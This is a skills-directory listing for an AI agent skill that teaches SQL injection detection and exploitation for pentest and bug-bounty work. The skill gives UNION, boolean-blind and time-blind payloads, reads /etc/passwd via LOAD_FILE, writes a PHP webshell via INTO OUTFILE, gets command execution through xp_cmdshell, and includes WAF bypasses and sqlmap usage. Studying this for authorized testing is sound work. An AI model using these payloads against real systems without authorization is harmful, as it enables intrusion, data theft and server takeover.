Skip to content
Back to skills

Web Sqli

BSecurity

Detect and exploit SQL injection (error-based, UNION, boolean/time blind, stacked). Load when a param feeds a query, you see DB errors, numeric/string params change result sets, login forms, search, sort/order-by, or ORM raw queries. Signals: "id=", 500 on a quote, "You have an error in your SQL syntax", MySQL/Postgres/MSSQL/Oracle banners.

  • 20 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added September 22, 2026
ai-agentsgophpshellsqldatabase

Security analysis

B75/100
  • criticalAccesses sensitive system or user directories

Pro scans all 2 files and shows the line behind each finding

Scanned September 22, 2026

npx -y skills add NoorQureshi/SploitAgent --skill web-sqli --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Web Sqli?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Web Sqli
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/noorqureshi-web-sqli/badge)](https://www.skillsdirectory.com/skills/noorqureshi-web-sqli)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: web-sqli
description: >
  Detect and exploit SQL injection (error-based, UNION, boolean/time blind, stacked). Load
  when a param feeds a query, you see DB errors, numeric/string params change result sets,
  login forms, search, sort/order-by, or ORM raw queries. Signals: "id=", 500 on a quote,
  "You have an error in your SQL syntax", MySQL/Postgres/MSSQL/Oracle banners.
domain: web
type: technique
stability: learning
modes: [pentest, bugbounty]
severity: critical
owasp: [A03:2021-Injection]
cwe: [CWE-89]
tools: [sqlmap, burp, ghauri]
schema_version: 1
---

# SQL Injection (SQLi)

## When it applies
User input is concatenated into a SQL query. Test every param, header (`X-Forwarded-For`,
`User-Agent`, `Referer` sometimes logged into DB), cookie, and JSON field — not just `?id=`.

## Why it works
The query string mixes code and data. A stray quote/operator lets you close the intended
literal and append your own SQL, which the engine parses as instructions. Blind variants
leak data one bit at a time via truthy/falsy responses or timing.

## Method
> **Exact per-DB payloads, blind/error/time variants, and WAF bypasses:** see
> [`cheatsheet.md`](cheatsheet.md) next to this file. Work the *whole* variation set for a
> parameter before concluding it isn't injectable — one failed quote is not a clean param.

1. **Detect** — send `'`, `"`, `)`, then a self-true vs self-false pair:
   `id=1 AND 1=1` vs `id=1 AND 1=2` (numeric); `x' AND '1'='1` vs `x' AND '1'='2` (string).
   Different responses = injectable. Error text = fast win; identical = try blind/time.
2. **Fingerprint the DB** (comment style, string concat, version fn) then pick a technique:
   - **UNION**: find column count (`ORDER BY n` until error), find a string-typed column, then
     `UNION SELECT NULL,version(),NULL-- -` and pull `information_schema`.
   - **Boolean-blind**: `AND SUBSTRING((SELECT ...),1,1)='a'` — automate the oracle.
   - **Time-blind**: `AND SLEEP(5)` / `pg_sleep(5)` / `WAITFOR DELAY '0:0:5'` when no visible diff.
3. **Escalate beyond data** where the DB privileges allow:
   - **File read** (MySQL `FILE` priv): `UNION SELECT LOAD_FILE('/etc/passwd')` — read app source,
     keys, config to find the next bug.
   - **File write → webshell**: `... INTO OUTFILE '/var/www/html/s.php'` (needs `FILE`, a writable
     path, and `secure_file_priv` unset). MSSQL `xp_cmdshell` / Postgres `COPY ... FROM PROGRAM`
     give direct command execution when you're DBA.
4. **Automate** once confirmed: `sqlmap -r req.txt --batch --level 3 --risk 2 --dbms=mysql`
   (`-r` = saved Burp request preserves auth/headers; raise level/risk only after manual proof).

## Gotchas
- WAF blocks `union select` → try inline comments `un/**/ion`, case, or `sqlmap --tamper`.
- Numeric context needs no quotes; quoting it makes a real vuln look dead.
- `sqlmap` on the raw URL misses auth/CSRF — always feed it a captured request (`-r`).
- Second-order: input stored now, executed in a later query elsewhere — test the *read* path.

## Verify success
Extract a harmless proof: `@@version`, `current_user`, `database()`, or one row from a
non-sensitive table. For a report, show the version string, not customer data.

## References
PortSwigger SQLi labs; sqlmap wiki; OWASP SQLi Prevention Cheat Sheet.

Files in this skill

  • SKILL.md3.2 KB
  • cheatsheet.md5.6 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…